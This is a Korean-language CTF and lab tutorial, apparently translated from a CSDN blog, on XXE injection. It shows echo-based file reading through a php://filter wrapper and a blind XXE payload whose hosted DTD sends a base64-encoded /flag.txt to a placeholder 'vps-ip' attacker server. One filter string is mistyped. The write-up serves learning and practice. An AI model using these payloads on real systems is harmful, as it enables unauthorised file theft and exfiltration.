XML 외부 엔티티 주입, XXE 취약성, XXE에 에코 주입, XXE에 에코 주입 없음, 블라인드 XXE

취약성 원칙

XE 취약점은 애플리케이션이 XML 입력을 구문 분석 할 때 발생하며 외부 엔티티의로드를 금지하지 않습니다. 이로 인해 악의적 인 외부 파일이로드되어 파일 읽기, 명령 실행 및 인트라넷 포트 검색이 발생할 수 있습니다. XXE 취약점은 XML 파일이 업로드 될 수있는 위치에 의해 발생하는 경우가 많으며 업로드 된 XML 파일은 필터링되지 않아 악성 XML 파일이 업로드됩니다.

환경 설정

주소 : https://github.com/c0ny1/xxe-lab
다운로드 , PHPstudy의 www 디렉토리에 PHP_XXE를 넣어 접속합니다.
여기에 사진 설명 삽입

XXE에는 에코 주입 기능이 있습니다.

먼저 로그인 할 때 패킷을 가져 오면 매개 변수 전송 형식이 XML이고 XML 삽입이있을 수 있음을 알 수 있습니다.
여기에 사진 설명 삽입
다음 분석을 위해 데이터 패킷을 Repeater 모듈로 보냅니다.
여기에 사진 설명 삽입
응답 패킷에 에코 된 콘텐츠가 사용자 이름임을 알 수 있으며 XXE 취약점을 사용하여 파일을 읽을 수 있습니다.
여기에 사진 설명 삽입
txt 파일을 읽을 때 직접 읽을 수 있지만 php 파일을 읽을 때 브라우저의 파싱으로 인해 php 코드가 표시되지 않을 수 있습니다.이를 위해서는 코드를 읽기 전에 base64 인코딩이 필요합니다.

php://filter/read=convert.base64-encode/resource=文件地址

여기에 사진 설명 삽입
Base64 디코딩은 abc.php의 내용을 가져올 수 있습니다.
여기에 사진 설명 삽입

XXE 에코 주입 없음

웹 프로그램이 XML 입력을 구문 분석 할 수 있지만 출력 응답이없는 경우 이러한 종류의 주입을 블라인드 주입 XXE라고합니다. 따라서이 블라인드 XXE를 테스트하기 위해 파일 경로가 아닌 외부 엔티티를 사용하여 여기에서 웹 애플리케이션을 요청할 수 있습니다.

다음은 설명 할 CTFShow의 주제입니다.
https://ctf.show/challenges#web4_%E8%A7%82%E5%BF%83-340
여기에 사진 설명 삽입
점을 보려면 클릭하고 데이터를 보려면 패킷을 가져옵니다. 외부 xml을 요청한 것을 보면 XXE 주입이있는 것으로 추측 할 수 있습니다.
여기에 사진 설명 삽입
동시에 퍼블릭 네트워크의 서버에서 요청이 시작되기 때문에 자체 서버에 공격 체인을 구축해야합니다.
먼저 Apache 서비스를 열고 구축 한 파일을 / var / www / html 아래에 배치합니다. 액세스 할 수 있습니다.

service apache2 start

test.xml 만들기

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

test.dtd 만들기

<!ENTITY % dtd "<!ENTITY xxe SYSTEM 'http://vps-ip/pass=%file;'>">
%dtd;
%xxe;

그런 다음
여기에 사진 설명 삽입
플래그 얻기 위한 요청을 시작하십시오 .

추천

출처blog.csdn.net/weixin_43749601/article/details/115330101